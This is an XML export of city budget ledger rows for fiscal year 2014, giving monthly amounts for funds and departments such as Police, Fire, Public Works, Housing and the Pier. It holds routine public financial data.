<row _id="11573"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>408060.0</object><object_description>TOBACCO RETAILER LICENSE</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-28099.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>28099.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11574"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>577840.0</object><object_description>ASSESSMENTS FOR CITY-OWNED PRO</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>447515.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>447515.0</total></row>
<row _id="11575"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5517.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5517.0</total></row>
<row _id="11576"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2930.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2930.0</total></row>
<row _id="11577"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37000.0</total></row>
<row _id="11578"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>130000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>130000.0</total></row>
<row _id="11579"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>405875.0</object><object_description>HOMEWORK CLUB</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-32550.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>32550</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="11580"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>560020.0</object><object_description>DOWNSPOUT REDIRECT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1500.0</total></row>
<row _id="11581"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533690.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4165.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4165.0</total></row>
<row _id="11582"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>401750.0</object><object_description>MUSEUM UTILITY REIMBURSE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-6000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-6000.0</total></row>
<row _id="11583"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>613</division_id><division_name>ADMIN. AND FACILITIES</division_name><object>566290.0</object><object_description>PROGRAMS &amp; SPECIAL EVENTS</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2280.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2280.0</total></row>
<row _id="11584"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11585"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>ST. JOE-HPSHP</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>275943.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>275943.0</total></row>
<row _id="11586"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577723.0</object><object_description>ST. JOE SHELTER PLUS CARE-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3386.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3386.0</total></row>
<row _id="11587"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>83161.0</june><total>83161.0</total></row>
<row _id="11588"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>54</fund_id><fund_name>Vehicle Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>45751.0</june><total>45751.0</total></row>
<row _id="11589"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>404030.0</object><object_description>PROP 84-IN-LINE STORM DRAIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>-93377</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-93377.0</total></row>
<row _id="11590"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408260.0</object><object_description>AHPP COMP MONITOR-ANNUAL FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-130000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-130000.0</total></row>
<row _id="11591"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2434.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2434.0</total></row>
<row _id="11592"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-1247.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-1247.0</total></row>
<row _id="11593"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>98503.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>98503.0</total></row>
<row _id="11594"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>577940.0</object><object_description>REIMB FOR PARKING EXPEND</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>268773.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>268773.0</total></row>
<row _id="11595"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>49769.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49769.0</total></row>
<row _id="11596"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>5134.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5134.0</total></row>
<row _id="11597"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>668.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>668.0</total></row>
<row _id="11598"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-918.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-918.0</total></row>
<row _id="11599"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>324.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>324.0</total></row>
<row _id="11600"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2050.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2050.0</total></row>
<row _id="11601"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-27678.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>-6850</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-34528.0</total></row>
<row _id="11602"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIB-POA</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>-32799.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>-5785</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-38584.0</total></row>
<row _id="11603"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>409.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>409.0</total></row>
<row _id="11604"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>235473.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>235473.0</total></row>
<row _id="11605"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTIL-NATURAL GAS-CITY YAR</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>7797.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7797.0</total></row>
<row _id="11606"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>820.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>12000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="11607"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2564.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2564.0</total></row>
<row _id="11608"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>577550.0</object><object_description>FARMERS' MARKET SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>37735.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>37735.0</total></row>
<row _id="11609"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>854.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>157031.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>157031.0</total></row>
<row _id="11610"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>455</division_id><division_name>PIER MAINTENANCE</division_name><object>533030.0</object><object_description>PROPERTY INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>401.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>401.0</total></row>
<row _id="11611"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 FSS ADMIN</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-65286</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-65286.0</total></row>
<row _id="11612"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400750.0</object><object_description>INT DEP/INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-29500</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-29500.0</total></row>
<row _id="11613"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400881.0</object><object_description>SPC HAP SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-64240</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-64240.0</total></row>
<row _id="11614"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400884.0</object><object_description>SPC HAP EXPANSION</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-214044</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-214044.0</total></row>
<row _id="11615"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400921.0</object><object_description>SPC ADMIN SU02</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>-4067</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-4067.0</total></row>
<row _id="11616"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="11617"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2500.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2500.0</total></row>
<row _id="11618"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="11619"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10000.0</total></row>
<row _id="11620"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2000.0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2000.0</total></row>
